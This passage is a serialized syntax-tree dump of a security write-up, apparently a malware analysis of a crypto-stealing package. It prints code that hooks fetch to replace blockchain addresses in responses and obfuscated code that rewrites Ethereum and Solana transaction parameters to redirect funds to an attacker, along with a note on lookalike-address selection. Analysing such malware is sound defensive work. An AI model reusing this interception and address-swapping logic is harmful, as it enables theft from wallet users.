rund",{"type":21,"tag":153,"props":99805,"children":99806},{"style":198},[99807],{"type":26,"value":255},{"type":21,"tag":153,"props":99809,"children":99810},{"style":300},[99811],{"type":26,"value":7253},{"type":21,"tag":153,"props":99813,"children":99814},{"style":160},[99815],{"type":26,"value":1759},{"type":21,"tag":153,"props":99817,"children":99818},{"class":155,"line":776},[99819,99824,99828,99832],{"type":21,"tag":153,"props":99820,"children":99821},{"style":192},[99822],{"type":26,"value":99823},"        neth",{"type":21,"tag":153,"props":99825,"children":99826},{"style":198},[99827],{"type":26,"value":255},{"type":21,"tag":153,"props":99829,"children":99830},{"style":300},[99831],{"type":26,"value":7253},{"type":21,"tag":153,"props":99833,"children":99834},{"style":160},[99835],{"type":26,"value":1759},{"type":21,"tag":153,"props":99837,"children":99838},{"class":155,"line":795},[99839,99844],{"type":21,"tag":153,"props":99840,"children":99841},{"style":181},[99842],{"type":26,"value":99843},"        newdlocal",{"type":21,"tag":153,"props":99845,"children":99846},{"style":160},[99847],{"type":26,"value":839},{"type":21,"tag":153,"props":99849,"children":99850},{"class":155,"line":808},[99851],{"type":21,"tag":153,"props":99852,"children":99853},{"style":160},[99854],{"type":26,"value":15381},{"type":21,"tag":153,"props":99856,"children":99857},{"class":155,"line":820},[99858,99862,99866,99870,99874,99878,99882,99886],{"type":21,"tag":153,"props":99859,"children":99860},{"style":160},[99861],{"type":26,"value":18476},{"type":21,"tag":153,"props":99863,"children":99864},{"style":1751},[99865],{"type":26,"value":2717},{"type":21,"tag":153,"props":99867,"children":99868},{"style":1751},[99869],{"type":26,"value":18485},{"type":21,"tag":153,"props":99871,"children":99872},{"style":160},[99873],{"type":26,"value":5820},{"type":21,"tag":153,"props":99875,"children":99876},{"style":192},[99877],{"type":26,"value":99783},{"type":21,"tag":153,"props":99879,"children":99880},{"style":198},[99881],{"type":26,"value":66680},{"type":21,"tag":153,"props":99883,"children":99884},{"style":300},[99885],{"type":26,"value":7253},{"type":21,"tag":153,"props":99887,"children":99888},{"style":160},[99889],{"type":26,"value":2659},{"type":21,"tag":153,"props":99891,"children":99892},{"class":155,"line":842},[99893,99898,99902,99906],{"type":21,"tag":153,"props":99894,"children":99895},{"style":192},[99896],{"type":26,"value":99897},"      rund",{"type":21,"tag":153,"props":99899,"children":99900},{"style":198},[99901],{"type":26,"value":255},{"type":21,"tag":153,"props":99903,"children":99904},{"style":300},[99905],{"type":26,"value":7253},{"type":21,"tag":153,"props":99907,"children":99908},{"style":160},[99909],{"type":26,"value":1759},{"type":21,"tag":153,"props":99911,"children":99912},{"class":155,"line":3204},[99913,99918],{"type":21,"tag":153,"props":99914,"children":99915},{"style":181},[99916],{"type":26,"value":99917},"      newdlocal",{"type":21,"tag":153,"props":99919,"children":99920},{"style":160},[99921],{"type":26,"value":839},{"type":21,"tag":153,"props":99923,"children":99924},{"class":155,"line":3230},[99925],{"type":21,"tag":153,"props":99926,"children":99927},{"style":160},[99928],{"type":26,"value":539},{"type":21,"tag":153,"props":99930,"children":99931},{"class":155,"line":3239},[99932],{"type":21,"tag":153,"props":99933,"children":99934},{"style":160},[99935],{"type":26,"value":8601},{"type":21,"tag":153,"props":99937,"children":99938},{"class":155,"line":3253},[99939],{"type":21,"tag":153,"props":99940,"children":99941},{"style":160},[99942],{"type":26,"value":548},{"type":21,"tag":126,"props":99944,"children":99945},{"start":166},[99946],{"type":21,"tag":91,"props":99947,"children":99948},{},[99949],{"type":26,"value":99950},"Intercept HTTP requests/responses and replace blockchain addresses with the attacker's wallet: (modified code for better understanding)",{"type":21,"tag":143,"props":99952,"children":99954},{"code":99953,"language":34060,"meta":7,"className":34058,"style":7},"fetch = async function (...args) {\n  const originalResponse = await originalFetch.call(this, ...args);\n  const contentType = originalResponse.headers.get('Content-Type') || '';\n  let data;\n  if (contentType.includes('application/json')) {\n    data = await originalResponse.clone().json();\n  } else {\n    data = await originalResponse.clone().text();\n  }\n  const processedData = replaceAddresses(data);\n  const finalResponseText =\n    typeof processedData === 'string' ? processedData : JSON.stringify(processedData);\n  const finalResponse = new Response(finalResponseText, {\n    status: originalResponse.status,\n    statusText: originalResponse.statusText,\n    headers: originalResponse.headers,\n  });\n  return finalResponse;\n};\n",[99955],{"type":21,"tag":78,"props":99956,"children":99957},{"__ignoreMap":7},[99958,99993,100050,100112,100127,100164,100203,100218,100257,100264,100297,100313,100372,100410,100435,100460,100484,100492,100507],{"type":21,"tag":153,"props":99959,"children":99960},{"class":155,"line":156},[99961,99965,99969,99973,99977,99981,99985,99989],{"type":21,"tag":153,"props":99962,"children":99963},{"style":181},[99964],{"type":26,"value":36788},{"type":21,"tag":153,"props":99966,"children":99967},{"style":198},[99968],{"type":26,"value":255},{"type":21,"tag":153,"props":99970,"children":99971},{"style":170},[99972],{"type":26,"value":39058},{"type":21,"tag":153,"props":99974,"children":99975},{"style":170},[99976],{"type":26,"value":40907},{"type":21,"tag":153,"props":99978,"children":99979},{"style":160},[99980],{"type":26,"value":5820},{"type":21,"tag":153,"props":99982,"children":99983},{"style":198},[99984],{"type":26,"value":12313},{"type":21,"tag":153,"props":99986,"children":99987},{"style":192},[99988],{"type":26,"value":40921},{"type":21,"tag":153,"props":99990,"children":99991},{"style":160},[99992],{"type":26,"value":2659},{"type":21,"tag":153,"props":99994,"children":99995},{"class":155,"line":166},[99996,100000,100005,100009,100013,100018,100022,100026,100030,100034,100038,100042,100046],{"type":21,"tag":153,"props":99997,"children":99998},{"style":170},[99999],{"type":26,"value":38881},{"type":21,"tag":153,"props":100001,"children":100002},{"style":192},[100003],{"type":26,"value":100004}," originalResponse",{"type":21,"tag":153,"props":100006,"children":100007},{"style":198},[100008],{"type":26,"value":255},{"type":21,"tag":153,"props":100010,"children":100011},{"style":1751},[100012],{"type":26,"value":38904},{"type":21,"tag":153,"props":100014,"children":100015},{"style":192},[100016],{"type":26,"value":100017}," originalFetch",{"type":21,"tag":153,"props":100019,"children":100020},{"style":160},[100021],{"type":26,"value":355},{"type":21,"tag":153,"props":100023,"children":100024},{"style":181},[100025],{"type":26,"value":3784},{"type":21,"tag":153,"props":100027,"children":100028},{"style":160},[100029],{"type":26,"value":189},{"type":21,"tag":153,"props":100031,"children":100032},{"style":170},[100033],{"type":26,"value":20389},{"type":21,"tag":153,"props":100035,"children":100036},{"style":160},[100037],{"type":26,"value":1670},{"type":21,"tag":153,"props":100039,"children":100040},{"style":198},[100041],{"type":26,"value":12313},{"type":21,"tag":153,"props":100043,"children":100044},{"style":192},[100045],{"type":26,"value":40921},{"type":21,"tag":153,"props":100047,"children":100048},{"style":160},[100049],{"type":26,"value":530},{"type":21,"tag":153,"props":100051,"children":100052},{"class":155,"line":225},[100053,100057,100062,100066,100070,100074,100079,100083,100087,100091,100096,100100,100104,100108],{"type":21,"tag":153,"props":100054,"children":100055},{"style":170},[100056],{"type":26,"value":38881},{"type":21,"tag":153,"props":100058,"children":100059},{"style":192},[100060],{"type":26,"value":100061}," contentType",{"type":21,"tag":153,"props":100063,"children":100064},{"style":198},[100065],{"type":26,"value":255},{"type":21,"tag":153,"props":100067,"children":100068},{"style":192},[100069],{"type":26,"value":100004},{"type":21,"tag":153,"props":100071,"children":100072},{"style":160},[100073],{"type":26,"value":355},{"type":21,"tag":153,"props":100075,"children":100076},{"style":192},[100077],{"type":26,"value":100078},"headers",{"type":21,"tag":153,"props":100080,"children":100081},{"style":160},[100082],{"type":26,"value":355},{"type":21,"tag":153,"props":100084,"children":100085},{"style":181},[100086],{"type":26,"value":19049},{"type":21,"tag":153,"props":100088,"children":100089},{"style":160},[100090],{"type":26,"value":189},{"type":21,"tag":153,"props":100092,"children":100093},{"style":671},[100094],{"type":26,"value":100095},"'Content-Type'",{"type":21,"tag":153,"props":100097,"children":100098},{"style":160},[100099],{"type":26,"value":2362},{"type":21,"tag":153,"props":100101,"children":100102},{"style":198},[100103],{"type":26,"value":25111},{"type":21,"tag":153,"props":100105,"children":100106},{"style":671},[100107],{"type":26,"value":34533},{"type":21,"tag":153,"props":100109,"children":100110},{"style":160},[100111],{"type":26,"value":1759},{"type":21,"tag":153,"props":100113,"children":100114},{"class":155,"line":239},[100115,100119,100123],{"type":21,"tag":153,"props":100116,"children":100117},{"style":170},[100118],{"type":26,"value":10582},{"type":21,"tag":153,"props":100120,"children":100121},{"style":192},[100122],{"type":26,"value":696},{"type":21,"tag":153,"props":100124,"children":100125},{"style":160},[100126],{"type":26,"value":1759},{"type":21,"tag":153,"props":100128,"children":100129},{"class":155,"line":382},[100130,100134,100138,100143,100147,100151,100155,100160],{"type":21,"tag":153,"props":100131,"children":100132},{"style":1751},[100133],{"type":26,"value":34089},{"type":21,"tag":153,"props":100135,"children":100136},{"style":160},[100137],{"type":26,"value":5820},{"type":21,"tag":153,"props":100139,"children":100140},{"style":192},[100141],{"type":26,"value":100142},"contentType",{"type":21,"tag":153,"props":100144,"children":100145},{"style":160},[100146],{"type":26,"value":355},{"type":21,"tag":153,"props":100148,"children":100149},{"style":181},[100150],{"type":26,"value":37874},{"type":21,"tag":153,"props":100152,"children":100153},{"style":160},[100154],{"type":26,"value":189},{"type":21,"tag":153,"props":100156,"children":100157},{"style":671},[100158],{"type":26,"value":100159},"'application/json'",{"type":21,"tag":153,"props":100161,"children":100162},{"style":160},[100163],{"type":26,"value":37887},{"type":21,"tag":153,"props":100165,"children":100166},{"class":155,"line":501},[100167,100171,100175,100179,100183,100187,100191,100195,100199],{"type":21,"tag":153,"props":100168,"children":100169},{"style":192},[100170],{"type":26,"value":2920},{"type":21,"tag":153,"props":100172,"children":100173},{"style":198},[100174],{"type":26,"value":255},{"type":21,"tag":153,"props":100176,"children":100177},{"style":1751},[100178],{"type":26,"value":38904},{"type":21,"tag":153,"props":100180,"children":100181},{"style":192},[100182],{"type":26,"value":100004},{"type":21,"tag":153,"props":100184,"children":100185},{"style":160},[100186],{"type":26,"value":355},{"type":21,"tag":153,"props":100188,"children":100189},{"style":181},[100190],{"type":26,"value":3420},{"type":21,"tag":153,"props":100192,"children":100193},{"style":160},[100194],{"type":26,"value":32862},{"type":21,"tag":153,"props":100196,"children":100197},{"style":181},[100198],{"type":26,"value":36691},{"type":21,"tag":153,"props":100200,"children":100201},{"style":160},[100202],{"type":26,"value":839},{"type":21,"tag":153,"props":100204,"children":100205},{"class":155,"line":533},[100206,100210,100214],{"type":21,"tag":153,"props":100207,"children":100208},{"style":160},[100209],{"type":26,"value":34163},{"type":21,"tag":153,"props":100211,"children":100212},{"style":1751},[100213],{"type":26,"value":2717},{"type":21,"tag":153,"props":100215,"children":100216},{"style":160},[100217],{"type":26,"value":236},{"type":21,"tag":153,"props":100219,"children":100220},{"class":155,"line":542},[100221,100225,100229,100233,100237,100241,100245,100249,100253],{"type":21,"tag":153,"props":100222,"children":100223},{"style":192},[100224],{"type":26,"value":2920},{"type":21,"tag":153,"props":100226,"children":100227},{"style":198},[100228],{"type":26,"value":255},{"type":21,"tag":153,"props":100230,"children":100231},{"style":1751},[100232],{"type":26,"value":38904},{"type":21,"tag":153,"props":100234,"children":100235},{"style":192},[100236],{"type":26,"value":100004},{"type":21,"tag":153,"props":100238,"children":100239},{"style":160},[100240],{"type":26,"value":355},{"type":21,"tag":153,"props":100242,"children":100243},{"style":181},[100244],{"type":26,"value":3420},{"type":21,"tag":153,"props":100246,"children":100247},{"style":160},[100248],{"type":26,"value":32862},{"type":21,"tag":153,"props":100250,"children":100251},{"style":181},[100252],{"type":26,"value":26},{"type":21,"tag":153,"props":100254,"children":100255},{"style":160},[100256],{"type":26,"value":839},{"type":21,"tag":153,"props":100258,"children":100259},{"class":155,"line":762},[100260],{"type":21,"tag":153,"props":100261,"children":100262},{"style":160},[100263],{"type":26,"value":8601},{"type":21,"tag":153,"props":100265,"children":100266},{"class":155,"line":776},[100267,100271,100276,100280,100285,100289,100293],{"type":21,"tag":153,"props":100268,"children":100269},{"style":170},[100270],{"type":26,"value":38881},{"type":21,"tag":153,"props":100272,"children":100273},{"style":192},[100274],{"type":26,"value":100275}," processedData",{"type":21,"tag":153,"props":100277,"children":100278},{"style":198},[100279],{"type":26,"value":255},{"type":21,"tag":153,"props":100281,"children":100282},{"style":181},[100283],{"type":26,"value":100284}," replaceAddresses",{"type":21,"tag":153,"props":100286,"children":100287},{"style":160},[100288],{"type":26,"value":189},{"type":21,"tag":153,"props":100290,"children":100291},{"style":192},[100292],{"type":26,"value":195},{"type":21,"tag":153,"props":100294,"children":100295},{"style":160},[100296],{"type":26,"value":530},{"type":21,"tag":153,"props":100298,"children":100299},{"class":155,"line":795},[100300,100304,100309],{"type":21,"tag":153,"props":100301,"children":100302},{"style":170},[100303],{"type":26,"value":38881},{"type":21,"tag":153,"props":100305,"children":100306},{"style":192},[100307],{"type":26,"value":100308}," finalResponseText",{"type":21,"tag":153,"props":100310,"children":100311},{"style":198},[100312],{"type":26,"value":38548},{"type":21,"tag":153,"props":100314,"children":100315},{"class":155,"line":808},[100316,100321,100325,100329,100334,100339,100343,100347,100351,100355,100359,100363,100368],{"type":21,"tag":153,"props":100317,"children":100318},{"style":170},[100319],{"type":26,"value":100320},"    typeof",{"type":21,"tag":153,"props":100322,"children":100323},{"style":192},[100324],{"type":26,"value":100275},{"type":21,"tag":153,"props":100326,"children":100327},{"style":198},[100328],{"type":26,"value":34117},{"type":21,"tag":153,"props":100330,"children":100331},{"style":671},[100332],{"type":26,"value":100333}," 'string'",{"type":21,"tag":153,"props":100335,"children":100336},{"style":198},[100337],{"type":26,"value":100338}," ?",{"type":21,"tag":153,"props":100340,"children":100341},{"style":192},[100342],{"type":26,"value":100275},{"type":21,"tag":153,"props":100344,"children":100345},{"style":198},[100346],{"type":26,"value":37809},{"type":21,"tag":153,"props":100348,"children":100349},{"style":192},[100350],{"type":26,"value":40221},{"type":21,"tag":153,"props":100352,"children":100353},{"style":160},[100354],{"type":26,"value":355},{"type":21,"tag":153,"props":100356,"children":100357},{"style":181},[100358],{"type":26,"value":41924},{"type":21,"tag":153,"props":100360,"children":100361},{"style":160},[100362],{"type":26,"value":189},{"type":21,"tag":153,"props":100364,"children":100365},{"style":192},[100366],{"type":26,"value":100367},"processedData",{"type":21,"tag":153,"props":100369,"children":100370},{"style":160},[100371],{"type":26,"value":530},{"type":21,"tag":153,"props":100373,"children":100374},{"class":155,"line":820},[100375,100379,100384,100388,100392,100397,100401,100406],{"type":21,"tag":153,"props":100376,"children":100377},{"style":170},[100378],{"type":26,"value":38881},{"type":21,"tag":153,"props":100380,"children":100381},{"style":192},[100382],{"type":26,"value":100383}," finalResponse",{"type":21,"tag":153,"props":100385,"children":100386},{"style":198},[100387],{"type":26,"value":255},{"type":21,"tag":153,"props":100389,"children":100390},{"style":170},[100391],{"type":26,"value":34627},{"type":21,"tag":153,"props":100393,"children":100394},{"style":181},[100395],{"type":26,"value":100396}," Response",{"type":21,"tag":153,"props":100398,"children":100399},{"style":160},[100400],{"type":26,"value":189},{"type":21,"tag":153,"props":100402,"children":100403},{"style":192},[100404],{"type":26,"value":100405},"finalResponseText",{"type":21,"tag":153,"props":100407,"children":100408},{"style":160},[100409],{"type":26,"value":51172},{"type":21,"tag":153,"props":100411,"children":100412},{"class":155,"line":842},[100413,100418,100422,100426,100431],{"type":21,"tag":153,"props":100414,"children":100415},{"style":192},[100416],{"type":26,"value":100417},"    status:",{"type":21,"tag":153,"props":100419,"children":100420},{"style":192},[100421],{"type":26,"value":100004},{"type":21,"tag":153,"props":100423,"children":100424},{"style":160},[100425],{"type":26,"value":355},{"type":21,"tag":153,"props":100427,"children":100428},{"style":192},[100429],{"type":26,"value":100430},"status",{"type":21,"tag":153,"props":100432,"children":100433},{"style":160},[100434],{"type":26,"value":792},{"type":21,"tag":153,"props":100436,"children":100437},{"class":155,"line":3204},[100438,100443,100447,100451,100456],{"type":21,"tag":153,"props":100439,"children":100440},{"style":192},[100441],{"type":26,"value":100442},"    statusText:",{"type":21,"tag":153,"props":100444,"children":100445},{"style":192},[100446],{"type":26,"value":100004},{"type":21,"tag":153,"props":100448,"children":100449},{"style":160},[100450],{"type":26,"value":355},{"type":21,"tag":153,"props":100452,"children":100453},{"style":192},[100454],{"type":26,"value":100455},"statusText",{"type":21,"tag":153,"props":100457,"children":100458},{"style":160},[100459],{"type":26,"value":792},{"type":21,"tag":153,"props":100461,"children":100462},{"class":155,"line":3230},[100463,100468,100472,100476,100480],{"type":21,"tag":153,"props":100464,"children":100465},{"style":192},[100466],{"type":26,"value":100467},"    headers:",{"type":21,"tag":153,"props":100469,"children":100470},{"style":192},[100471],{"type":26,"value":100004},{"type":21,"tag":153,"props":100473,"children":100474},{"style":160},[100475],{"type":26,"value":355},{"type":21,"tag":153,"props":100477,"children":100478},{"style":192},[100479],{"type":26,"value":100078},{"type":21,"tag":153,"props":100481,"children":100482},{"style":160},[100483],{"type":26,"value":792},{"type":21,"tag":153,"props":100485,"children":100486},{"class":155,"line":3239},[100487],{"type":21,"tag":153,"props":100488,"children":100489},{"style":160},[100490],{"type":26,"value":100491},"  });\n",{"type":21,"tag":153,"props":100493,"children":100494},{"class":155,"line":3253},[100495,100499,100503],{"type":21,"tag":153,"props":100496,"children":100497},{"style":1751},[100498],{"type":26,"value":41890},{"type":21,"tag":153,"props":100500,"children":100501},{"style":192},[100502],{"type":26,"value":100383},{"type":21,"tag":153,"props":100504,"children":100505},{"style":160},[100506],{"type":26,"value":1759},{"type":21,"tag":153,"props":100508,"children":100509},{"class":155,"line":3301},[100510],{"type":21,"tag":153,"props":100511,"children":100512},{"style":160},[100513],{"type":26,"value":19275},{"type":21,"tag":126,"props":100515,"children":100516},{"start":225},[100517],{"type":21,"tag":91,"props":100518,"children":100519},{},[100520],{"type":26,"value":100521},"The malware intercepted wallet requests and silently replaced the receiver address with the attacker address. Instead of a blunt substitution, it used the Levenshtein distance algorithm to pick a lookalike address, which made it harder for victims to notice funds being siphoned.",{"type":21,"tag":143,"props":100523,"children":100525},{"code":100524,"language":34060,"meta":7,"className":34058,"style":7},"if (_0x2c3d7e.method === 'eth_sendTransaction' && _0x2c3d7e.params && _0x2c3d7e.params[0]) {\n  try {\n    const _0x39ad21 = _0x1089ae(_0x2c3d7e.params[0], true);\n    _0x2c3d7e.params[0] = _0x39ad21;\n  } catch (_0x226343) {}\n} else {\n  if (\n    (_0x2c3d7e.method === 'solana_signTransaction' ||\n      _0x2c3d7e.method === 'solana_signAndSendTransaction') &&\n    _0x2c3d7e.params &&\n    _0x2c3d7e.params[0]\n  ) {\n    try {\n      let _0x5ad975 = _0x2c3d7e.params[0];\n      if (_0x5ad975.transaction) {\n        _0x5ad975 = _0x5ad975.transaction;\n      }\n      const _0x5dbe63 = _0x1089ae(_0x5ad975, false);\n      if (_0x2c3d7e.params[0].transaction) {\n        _0x2c3d7e.params[0].transaction = _0x5dbe63;\n      } else {\n        _0x2c3d7e.params[0] = _0x5dbe63;\n      }\n    } catch (_0x4b99fd) {}\n  }\n}\n",[100526],{"type":21,"tag":78,"props":100527,"children":100528},{"__ignoreMap":7},[100529,100608,100619,100676,100716,100741,100756,100767,100801,100834,100853,100880,100888,100899,100939,100968,100996,101003,101043,101086,101130,101145,101184,101191,101215,101222],{"type":21,"tag":153,"props":100530,"children":100531},{"class":155,"line":156},[100532,100536,100540,100545,100549,100553,100557,100562,100566,100571,100575,100580,100584,100588,100592,100596,100600,100604],{"type":21,"tag":153,"props":100533,"children":100534},{"style":1751},[100535],{"type":26,"value":2338},{"type":21,"tag":153,"props":100537,"children":100538},{"style":160},[100539],{"type":26,"value":5820},{"type":21,"tag":153,"props":100541,"children":100542},{"style":192},[100543],{"type":26,"value":100544},"_0x2c3d7e",{"type":21,"tag":153,"props":100546,"children":100547},{"style":160},[100548],{"type":26,"value":355},{"type":21,"tag":153,"props":100550,"children":100551},{"style":192},[100552],{"type":26,"value":41005},{"type":21,"tag":153,"props":100554,"children":100555},{"style":198},[100556],{"type":26,"value":34117},{"type":21,"tag":153,"props":100558,"children":100559},{"style":671},[100560],{"type":26,"value":100561}," 'eth_sendTransaction'",{"type":21,"tag":153,"props":100563,"children":100564},{"style":198},[100565],{"type":26,"value":16893},{"type":21,"tag":153,"props":100567,"children":100568},{"style":192},[100569],{"type":26,"value":100570}," _0x2c3d7e",{"type":21,"tag":153,"props":100572,"children":100573},{"style":160},[100574],{"type":26,"value":355},{"type":21,"tag":153,"props":100576,"children":100577},{"style":192},[100578],{"type":26,"value":100579},"params",{"type":21,"tag":153,"props":100581,"children":100582},{"style":198},[100583],{"type":26,"value":16893},{"type":21,"tag":153,"props":100585,"children":100586},{"style":192},[100587],{"type":26,"value":100570},{"type":21,"tag":153,"props":100589,"children":100590},{"style":160},[100591],{"type":26,"value":355},{"type":21,"tag":153,"props":100593,"children":100594},{"style":192},[100595],{"type":26,"value":100579},{"type":21,"tag":153,"props":100597,"children":100598},{"style":160},[100599],{"type":26,"value":211},{"type":21,"tag":153,"props":100601,"children":100602},{"style":300},[100603],{"type":26,"value":2996},{"type":21,"tag":153,"props":100605,"children":100606},{"style":160},[100607],{"type":26,"value":222},{"type":21,"tag":153,"props":100609,"children":100610},{"class":155,"line":166},[100611,100615],{"type":21,"tag":153,"props":100612,"children":100613},{"style":1751},[100614],{"type":26,"value":99647},{"type":21,"tag":153,"props":100616,"children":100617},{"style":160},[100618],{"type":26,"value":236},{"type":21,"tag":153,"props":100620,"children":100621},{"class":155,"line":225},[100622,100626,100631,100635,100640,100644,100648,100652,100656,100660,100664,100668,100672],{"type":21,"tag":153,"props":100623,"children":100624},{"style":170},[100625],{"type":26,"value":53959},{"type":21,"tag":153,"props":100627,"children":100628},{"style":192},[100629],{"type":26,"value":100630}," _0x39ad21",{"type":21,"tag":153,"props":100632,"children":100633},{"style":198},[100634],{"type":26,"value":255},{"type":21,"tag":153,"props":100636,"children":100637},{"style":181},[100638],{"type":26,"value":100639}," _0x1089ae",{"type":21,"tag":153,"props":100641,"children":100642},{"style":160},[100643],{"type":26,"value":189},{"type":21,"tag":153,"props":100645,"children":100646},{"style":192},[100647],{"type":26,"value":100544},{"type":21,"tag":153,"props":100649,"children":100650},{"style":160},[100651],{"type":26,"value":355},{"type":21,"tag":153,"props":100653,"children":100654},{"style":192},[100655],{"type":26,"value":100579},{"type":21,"tag":153,"props":100657,"children":100658},{"style":160},[100659],{"type":26,"value":211},{"type":21,"tag":153,"props":100661,"children":100662},{"style":300},[100663],{"type":26,"value":2996},{"type":21,"tag":153,"props":100665,"children":100666},{"style":160},[100667],{"type":26,"value":308},{"type":21,"tag":153,"props":100669,"children":100670},{"style":170},[100671],{"type":26,"value":3294},{"type":21,"tag":153,"props":100673,"children":100674},{"style":160},[100675],{"type":26,"value":530},{"type":21,"tag":153,"props":100677,"children":100678},{"class":155,"line":239},[100679,100684,100688,100692,100696,100700,100704,100708,100712],{"type":21,"tag":153,"props":100680,"children":100681},{"style":192},[100682],{"type":26,"value":100683},"    _0x2c3d7e",{"type":21,"tag":153,"props":100685,"children":100686},{"style":160},[100687],{"type":26,"value":355},{"type":21,"tag":153,"props":100689,"children":100690},{"style":192},[100691],{"type":26,"value":100579},{"type":21,"tag":153,"props":100693,"children":100694},{"style":160},[100695],{"type":26,"value":211},{"type":21,"tag":153,"props":100697,"children":100698},{"style":300},[100699],{"type":26,"value":2996},{"type":21,"tag":153,"props":100701,"children":100702},{"style":160},[100703],{"type":26,"value":11387},{"type":21,"tag":153,"props":100705,"children":100706},{"style":198},[100707],{"type":26,"value":2367},{"type":21,"tag":153,"props":100709,"children":100710},{"style":192},[100711],{"type":26,"value":100630},{"type":21,"tag":153,"props":100713,"children":100714},{"style":160},[100715],{"type":26,"value":1759},{"type":21,"tag":153,"props":100717,"children":100718},{"class":155,"line":382},[100719,100723,100727,100731,100736],{"type":21,"tag":153,"props":100720,"children":100721},{"style":160},[100722],{"type":26,"value":34163},{"type":21,"tag":153,"props":100724,"children":100725},{"style":1751},[100726],{"type":26,"value":50701},{"type":21,"tag":153,"props":100728,"children":100729},{"style":160},[100730],{"type":26,"value":5820},{"type":21,"tag":153,"props":100732,"children":100733},{"style":192},[100734],{"type":26,"value":100735},"_0x226343",{"type":21,"tag":153,"props":100737,"children":100738},{"style":160},[100739],{"type":26,"value":100740},") {}\n",{"type":21,"tag":153,"props":100742,"children":100743},{"class":155,"line":501},[100744,100748,100752],{"type":21,"tag":153,"props":100745,"children":100746},{"style":160},[100747],{"type":26,"value":49163},{"type":21,"tag":153,"props":100749,"children":100750},{"style":1751},[100751],{"type":26,"value":2717},{"type":21,"tag":153,"props":100753,"children":100754},{"style":160},[100755],{"type":26,"value":236},{"type":21,"tag":153,"props":100757,"children":100758},{"class":155,"line":533},[100759,100763],{"type":21,"tag":153,"props":100760,"children":100761},{"style":1751},[100762],{"type":26,"value":34089},{"type":21,"tag":153,"props":100764,"children":100765},{"style":160},[100766],{"type":26,"value":80863},{"type":21,"tag":153,"props":100768,"children":100769},{"class":155,"line":542},[100770,100775,100779,100783,100787,100791,100796],{"type":21,"tag":153,"props":100771,"children":100772},{"style":160},[100773],{"type":26,"value":100774},"    (",{"type":21,"tag":153,"props":100776,"children":100777},{"style":192},[100778],{"type":26,"value":100544},{"type":21,"tag":153,"props":100780,"children":100781},{"style":160},[100782],{"type":26,"value":355},{"type":21,"tag":153,"props":100784,"children":100785},{"style":192},[100786],{"type":26,"value":41005},{"type":21,"tag":153,"props":100788,"children":100789},{"style":198},[100790],{"type":26,"value":34117},{"type":21,"tag":153,"props":100792,"children":100793},{"style":671},[100794],{"type":26,"value":100795}," 'solana_signTransaction'",{"type":21,"tag":153,"props":100797,"children":100798},{"style":198},[100799],{"type":26,"value":100800}," ||\n",{"type":21,"tag":153,"props":100802,"children":100803},{"class":155,"line":762},[100804,100809,100813,100817,100821,100826,100830],{"type":21,"tag":153,"props":100805,"children":100806},{"style":192},[100807],{"type":26,"value":100808},"      _0x2c3d7e",{"type":21,"tag":153,"props":100810,"children":100811},{"style":160},[100812],{"type":26,"value":355},{"type":21,"tag":153,"props":100814,"children":100815},{"style":192},[100816],{"type":26,"value":41005},{"type":21,"tag":153,"props":100818,"children":100819},{"style":198},[100820],{"type":26,"value":34117},{"type":21,"tag":153,"props":100822,"children":100823},{"style":671},[100824],{"type":26,"value":100825}," 'solana_signAndSendTransaction'",{"type":21,"tag":153,"props":100827,"children":100828},{"style":160},[100829],{"type":26,"value":2362},{"type":21,"tag":153,"props":100831,"children":100832},{"style":198},[100833],{"type":26,"value":86112},{"type":21,"tag":153,"props":100835,"children":100836},{"class":155,"line":776},[100837,100841,100845,100849],{"type":21,"tag":153,"props":100838,"children":100839},{"style":192},[100840],{"type":26,"value":100683},{"type":21,"tag":153,"props":100842,"children":100843},{"style":160},[100844],{"type":26,"value":355},{"type":21,"tag":153,"props":100846,"children":100847},{"style":192},[100848],{"type":26,"value":100579},{"type":21,"tag":153,"props":100850,"children":100851},{"style":198},[100852],{"type":26,"value":54975},{"type":21,"tag":153,"props":100854,"children":100855},{"class":155,"line":795},[100856,100860,100864,100868,100872,100876],{"type":21,"tag":153,"props":100857,"children":100858},{"style":192},[100859],{"type":26,"value":100683},{"type":21,"tag":153,"props":100861,"children":100862},{"style":160},[100863],{"type":26,"value":355},{"type":21,"tag":153,"props":100865,"children":100866},{"style":192},[100867],{"type":26,"value":100579},{"type":21,"tag":153,"props":100869,"children":100870},{"style":160},[100871],{"type":26,"value":211},{"type":21,"tag":153,"props":100873,"children":100874},{"style":300},[100875],{"type":26,"value":2996},{"type":21,"tag":153,"props":100877,"children":100878},{"style":160},[100879],{"type":26,"value":2941},{"type":21,"tag":153,"props":100881,"children":100882},{"class":155,"line":808},[100883],{"type":21,"tag":153,"props":100884,"children":100885},{"style":160},[100886],{"type":26,"value":100887},"  ) {\n",{"type":21,"tag":153,"props":100889,"children":100890},{"class":155,"line":820},[100891,100895],{"type":21,"tag":153,"props":100892,"children":100893},{"style":1751},[100894],{"type":26,"value":72277},{"type":21,"tag":153,"props":100896,"children":100897},{"style":160},[100898],{"type":26,"value":236},{"type":21,"tag":153,"props":100900,"children":100901},{"class":155,"line":842},[100902,100906,100911,100915,100919,100923,100927,100931,100935],{"type":21,"tag":153,"props":100903,"children":100904},{"style":170},[100905],{"type":26,"value":10801},{"type":21,"tag":153,"props":100907,"children":100908},{"style":192},[100909],{"type":26,"value":100910}," _0x5ad975",{"type":21,"tag":153,"props":100912,"children":100913},{"style":198},[100914],{"type":26,"value":255},{"type":21,"tag":153,"props":100916,"children":100917},{"style":192},[100918],{"type":26,"value":100570},{"type":21,"tag":153,"props":100920,"children":100921},{"style":160},[100922],{"type":26,"value":355},{"type":21,"tag":153,"props":100924,"children":100925},{"style":192},[100926],{"type":26,"value":100579},{"type":21,"tag":153,"props":100928,"children":100929},{"style":160},[100930],{"type":26,"value":211},{"type":21,"tag":153,"props":100932,"children":100933},{"style":300},[100934],{"type":26,"value":2996},{"type":21,"tag":153,"props":100936,"children":100937},{"style":160},[100938],{"type":26,"value":1234},{"type":21,"tag":153,"props":100940,"children":100941},{"class":155,"line":3204},[100942,100946,100950,100955,100959,100964],{"type":21,"tag":153,"props":100943,"children":100944},{"style":1751},[100945],{"type":26,"value":41978},{"type":21,"tag":153,"props":100947,"children":100948},{"style":160},[100949],{"type":26,"value":5820},{"type":21,"tag":153,"props":100951,"children":100952},{"style":192},[100953],{"type":26,"value":100954},"_0x5ad975",{"type":21,"tag":153,"props":100956,"children":100957},{"style":160},[100958],{"type":26,"value":355},{"type":21,"tag":153,"props":100960,"children":100961},{"style":192},[100962],{"type":26,"value":100963},"transaction",{"type":21,"tag":153,"props":100965,"children":100966},{"style":160},[100967],{"type":26,"value":2659},{"type":21,"tag":153,"props":100969,"children":100970},{"class":155,"line":3230},[100971,10097